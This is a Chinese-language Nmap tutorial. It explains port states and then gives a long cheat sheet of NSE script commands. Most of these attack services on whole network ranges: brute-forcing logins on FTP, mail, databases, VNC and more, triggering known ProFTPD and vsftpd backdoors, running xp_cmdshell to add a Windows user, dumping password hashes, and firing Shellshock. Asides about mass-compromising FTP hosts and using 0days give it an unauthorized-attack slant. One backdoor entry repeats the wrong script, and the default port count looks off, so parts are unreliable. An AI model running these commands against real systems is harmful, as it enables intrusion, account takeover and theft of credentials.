Nmap基础用法 基本介绍 Nmap (“Network Mapper”)是一款开源的网络发现和安全审计工具,它可以适用于Winodws、Linux、macOS等操作系统,扫描速度要比nc 快。其基本功能主要有:
用于发现目标主机是否处于活动状态。 Nmap 提供了多种检测机制,可以更有效地辨识主机。例如可用来列举目标网络中哪些主机已经开启,类似于Ping命令的功能。
用于扫描主机上的端口状态。 Nmap可以将端口识别为开放(Open)、关闭(Closed)、过滤(Filtered)、未过滤(Unfiltered)、开放或过滤(Open|Filtered)、关闭或过滤(Closed|Filtered)。默认情况下,Nmap会扫描1660个常用的端口[1] ,可以覆盖大多数基本应用情况。
用于识别端口上运行的应用程序与程序版本。 Nmap当前可以识别数千种应用的签名(Signatures),检测数百种应用协议。而对于不识别的应用,Nmap默认会将应用的指纹(Fingerprint)打印出来,如果用户确知该应用程序,那么用户可以将信息提交到社区,为社区做贡献。
用于识别目标主机的操作系统类型、版本编号及设备类型。 Nmap当前提供1500个操作系统或设备的指纹数据库[2] ,可以识别通用PC系统、路由器、交换机等设备类型。
Nmap提供多种机制来规避防火墙、IDS的的屏蔽和检查,便于秘密地探查目标主机的状况。 基本的规避方式包括:分片、IP诱骗、IP伪装、MAC地址伪装。
NSE是Nmap最强大最灵活的特性之一,可以用于增强主机发现、端口扫描、版本侦测和操作系统侦测等功能,还可以用来扩展高级的功能如web扫描、漏洞发现和漏洞利用等。Nmap使用Lua语言来作为NSE脚本语言,当前的Nmap脚本库已经支持350多个脚本。
Nmap所识别的6种端口状态
open(开放的)
应用程序正在该端口接收TCP 连接或者UDP报文。发现这一点常常是端口扫描 的主要目标。安全意识强的人们知道每个开放的端口 都是攻击的入口。攻击者或者入侵测试者想要发现开放的端口。 而管理员则试图关闭它们或者用防火墙保护它们以免妨碍了合法用户。 非安全扫描可能对开放的端口也感兴趣,因为它们显示了网络上那些服务可供使用。
closed(关闭的)
关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。 它们可以显示该IP地址上(主机发现,或者ping扫描)的主机正在运行up 也对部分操作系统探测有所帮助。 因为关闭的关口是可访问的,也许过会儿值得再扫描一下,可能一些又开放了。 系统管理员可能会考虑用防火墙封锁这样的端口。 那样他们就会被显示为被过滤的状态,下面讨论。
filtered(被过滤的)
由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由器规则 或者主机上的软件防火墙。这样的端口让攻击者感觉很挫折,因为它们几乎不提供 任何信息。有时候它们响应ICMP错误消息如类型3代码13 (无法到达目标: 通信被管理员禁止),但更普遍的是过滤器只是丢弃探测帧, 不做任何响应。 这迫使Nmap重试若干次以访万一探测包是由于网络阻塞丢弃的。 这使得扫描速度明显变慢。
unfiltered(未被过滤的)
未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。 只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。 用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定 端口是否开放。
open|filtered(开放或者被过滤的)
当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成 这种状态。开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。因此Nmap无法确定该端口是开放的还是被过滤的。 UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。
closed|filtered(关闭或者被过滤的)
该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中。
Nmap常用命令和典型用法
1 nmap [ <扫描类型> ...] [ <选项> ] { <扫描目标说明> }
全面进攻性扫描(包括各种主机发现、端口扫描、版本扫描、OS扫描及默认脚本扫描):
1 nmap -p 80,8080 <target_ip>
1 nmap -iL <target_file> 扫描指定文件中的IP
1 nmap -sT/sU/sS <target_ip>
1 nmap <target_ip> -oX/oN/oA <target_output_file>
进阶使用:常用脚本
1 2 ftp-anon.nse 检查目标ftp是否允许匿名登录,光能登陆还不够,它还会自动检测目录是否可读写,如,批量ftp抓鸡 $ nmap -p 21 --script ftp-anon.nse -v <target_ip>
1 2 ftp-brute.nse ftp爆破脚本[只会尝试一些比较简单的弱口令,时间可能要稍微长一些(挂vpn以后这个爆破速度可能会更慢)] $ nmap -p 21 --script ftp-brute.nse -v <target_ip>
1 2 ftp-vuln-cve2010-4221.nse ProFTPD 1.3.3c之前的netio.c文件中的pr_netio_telnet_gets函数中存在多个栈溢出 $ nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v <target_ip>
1 2 ftp-proftpd-backdoor.nse ProFTPD 1.3.3c 被人插后门[proftpd-1.3.3c.tar.bz2],缺省只执行id命令,可自行到脚本中它换成能直接弹shell的命令 $ nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v <target_ip>
1 2 ftp-vsftpd-backdoor.nse VSFTPD v2.3.4 跟Proftp同样的问题,被人插了后门 $ nmap -p 21 --script ftp-vsftpd-backdoor.nse -v <target_ip>
1 2 sshv1.nse sshv1是可以中间人的 $ nmap -p 22 --script sshv1.nse -v <target_ip>
1 2 smtp-brute.nse 简单爆破smtp $ nmap -p 25 --script smtp-brute.nse -v <target_ip>
1 2 smtp-enum-users.nse 枚举目标smtp服务器的邮件用户名,前提是目标要存在此错误配置才行 $ nmap -p 25 --script smtp-enum-users.nse -v <target_ip>
1 2 smtp-vuln-cve2010-4344.nse Exim 4.70之前版本中的string.c文件中的string_vformat函数中存在堆溢出 $ nmap -p 25 --script smtp-vuln-cve2010-4344.nse -v <target_ip>
1 2 smtp-vuln-cve2011-1720.nse Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出 $ nmap -p 25 --script smtp-vuln-cve2011-1720.nse -v <target_ip>
1 2 smtp-vuln-cve2011-1764.nse Exim "dkim_exim_verify_finish()" 存在格式字符串漏洞,太老基本很难遇到了 $ nmap -p 25 --script smtp-vuln-cve2011-1764.nse -v <target_ip>
1 2 pop3-brute.nse pop简单弱口令爆破 $ nmap -p 110 --script pop3-brute.nse -v <target_ip>
1 2 imap-brute.nse imap简单弱口令爆破 $ nmap -p 143,993 --script imap-brute.nse -v <target_ip>
1 2 3 dns-zone-transfer.nse 检查目标ns服务器是否允许传送 $ nmap -p 53 --script dns-zone-transfer.nse -v <target_ip> $ nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=target.org -v <target_ip>
1 2 hostmap-ip2hosts.nse 旁站查询,目测了一下脚本,用的ip2hosts的接口,不过该接口似乎早已停用,如果想继续用,可自行到脚本里把接口部分的代码改掉 $ nmap -p80 --script hostmap-ip2hosts.nse <target_ip>
1 2 informix-brute.nse informix爆破脚本 $ nmap -p 9088 --script informix-brute.nse <target_ip>
1 2 mysql-empty-password.nse mysql 扫描root空密码 $ nmap -p 3306 --script mysql-empty-password.nse -v <target_ip>
1 2 mysql-brute.nse mysql root弱口令简单爆破 $ nmap -p 3306 --script mysql-brute.nse -v <target_ip>
1 2 mysql-dump-hashes.nse 导出mysql中所有用户的hash $ nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root' <target_ip>
1 2 mysql-vuln-cve2012-2122.nse Mysql身份认证漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22],利用条件有些苛刻 [需要目标的mysql是自己源码编译安装的,这样的成功率相对较高] $ nmap -p 3306 --script mysql-vuln-cve2012-2122.nse -v <target_ip>
1 2 $ nmap -p 445 --script ms-sql-info.nse -v 203.124.11.0/24 ms-sql-info.nse 扫描C段mssql $ nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24
1 2 ms-sql-empty-password.nse 扫描mssql sa空密码 $ nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24
1 2 ms-sql-brute.nse sa弱口令爆破 $ nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24
1 2 ms-sql-xp-cmdshell.nse 利用xp_cmdshell,远程执行系统命令 $ nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user test test /add" 192.168.3.0/24
1 2 ms-sql-dump-hashes.nse 导出mssql中所有的数据库用户及密码hash $ nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24
1 2 pgsql-brute.nse 尝试爆破postgresql $ nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24
1 2 oracle-brute-stealth.nse 尝试爆破oracle $ nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL -v 192.168.3.0/24
1 2 oracle-brute.nse $ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24
1 2 mongodb-brute.nse 尝试爆破mongdb $ nmap -p 27017 --script mongodb-brute 192.168.3.0/24
1 2 redis-brute.nse redis爆破 $ nmap -p 6379 --script redis-brute.nse 192.168.3.0/24
1 2 snmp-brute.nse 爆破C段的snmp $ nmap -sU --script snmp-brute --script-args snmp-brute.communitiesdb=user.txt 192.168.3.0/24
1 2 telnet-brute.nse 简单爆破telnet $ nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24
1 2 ldap-brute.nse 简单爆破ldap $ nmap -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' 192.168.3.0/24
和各类web中间件,web集成环境相关的一些利用脚本:
1 2 xmpp-brute.nse xmpp爆破 $ nmap -p 5222 --script xmpp-brute.nse 192.168.3.0/24
1 2 http-iis-short-name-brute.nse 短文件扫描 $ nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24
1 2 http-iis-webdav-vuln.nse iis 5.0 /6.0 webadv写 $ nmap --script http-iis-webdav-vuln.nse -p80,8080 192.168.3.0/24
1 2 http-shellshock.nse bash远程执行 $ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.3.0/24
1 2 http-svn-info.nse 探测目标svn $ nmap --script http-svn-info 192.168.3.0/24
1 2 3 http-drupal-enum.nse 其实对于这类的开源程序,我们根本没必要用nmap,因为搞多了,差不多一眼就能看出来 http-wordpress-brute.nse $ nmap -p80 -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.3.0/24
1 2 http-backup-finder.nse 扫描目标网站备份 $ nmap -p80 --script=http-backup-finder 192.168.3.0/24
1 2 http-vuln-cve2015-1635.nse iis6.0远程代码执行 $ nmap -sV --script http-vuln-cve* --script-args uri='/anotheruri/' 192.168.3.0/24
跟vpn相关的一些利用脚本,暂时只看到一个pptp还好使:
1 2 pptp-version.nse 识别目标pptp版本 $ nmap -p 1723 --script pptp-version.nse 192.168.3.0/24
1 2 3 4 5 smb-vuln-ms08-067.nse smb-vuln-ms10-054.nse smb-vuln-ms10-061.nse smb-vuln-ms17-010.nse smb远程执行 $ nmap -p445 --script smb-vuln-ms17-010.nse 192.168.3.0/24
检测内网嗅探,实际测试中,貌似并没什么卵用,难道是我实验有误 :(:
1 2 sniffer-detect.nse $ nmap -sn -Pn --script sniffer-detect.nse 192.168.3.0/24
1 2 rsync-brute.nse 爆破目标的rsync $ nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.3.0/24
1 2 rlogin-brute.nse 爆破目标的rlogin $ nmap -p 513 --script rlogin-brute 192.168.3.0/24
1 2 vnc-brute.nse 爆破目标的vnc $ nmap --script vnc-brute -p 5900 192.168.3.0/24
1 2 pcanywhere-brute.nse 爆破pcanywhere $ nmap -p 5631 --script=pcanywhere-brute 192.168.3.0/24
1 2 nessus-brute.nse 爆破nessus,貌似现在已经不是1241端口了,实在是太老了,直接忽略吧 $ nmap --script nessus-brute -p 1241 192.168.3.0/24
1 2 nexpose-brute.nse 爆破nexpose $ nmap --script nexpose-brute -p 3780 192.168.3.0/24
1 2 shodan-api.nse 配合shodan接口进行扫描,如果自己手里有0day,这个威力还是不可小觑的 $ nmap --script shodan-api --script-args 'shodan-api.target=192.168.3.0/24,shodan-api.apikey=SHODANAPIKEY'
实际测试中,会非常的慢,可能跑一个脚本验证时间都要很长,尤其在你的vps带宽不是很足,网络又不怎么好的时候,速度就更慢了,所以还是建议先大致扫一眼目标服务,然后再单独针对性的扫,这样实际的成功率可能会高很多,毕竟,不是像masscan或者zamp这种基于无状态的扫描:
1 $ nmap -sT -Pn -v --script dns-zone-transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-4221.nse,http-backup-finder.nse,http-cisco-anyconnect.nse,http-iis-short-name-brute.nse,http-put.nse,http-php-version.nse,http-shellshock.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iis-buffer-overflow.nse,iax2-version.nse,memcached-info.nse,mongodb-info.nse,msrpc-enum.nse,ms-sql-info.nse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse 192.168.3.0/24
尝试利用nmap一句话进行目标C段弱口令爆破,还是上面的问题,验证一个漏洞都要那么久,更不要说跑完一个弱口令字典,nmap默认的弱口令字典大概是5000左右,也就是说一个用户名就要跑大概5000次,估计你vps带宽再小点儿的话,这个就没什么谱了,毕竟我们是在公网,不是在内网,所以,还是建议最好不要同时加载很多个弱口令爆破脚本,如果实在没办法必须爆破,可以多花点儿时间,去搜集目标有价值的用户名,以此尽可能提高自己的命中率:
1 $ nmap -sT -v -Pn --script ftp-brute.nse,imap-brute.nse,smtp-brute.nse,pop3-brute.nse,mongodb-brute.nse,redis-brute.nse,ms-sql-brute.nse,rlogin-brute.nse,rsync-brute.nse,mysql-brute.nse,pgsql-brute.nse,oracle-sid-brute.nse,oracle-brute.nse,rtsp-url-brute.nse,snmp-brute.nse,svn-brute.nse,telnet-brute.nse,vnc-brute.nse,xmpp-brute.nse 192.168.3.0/24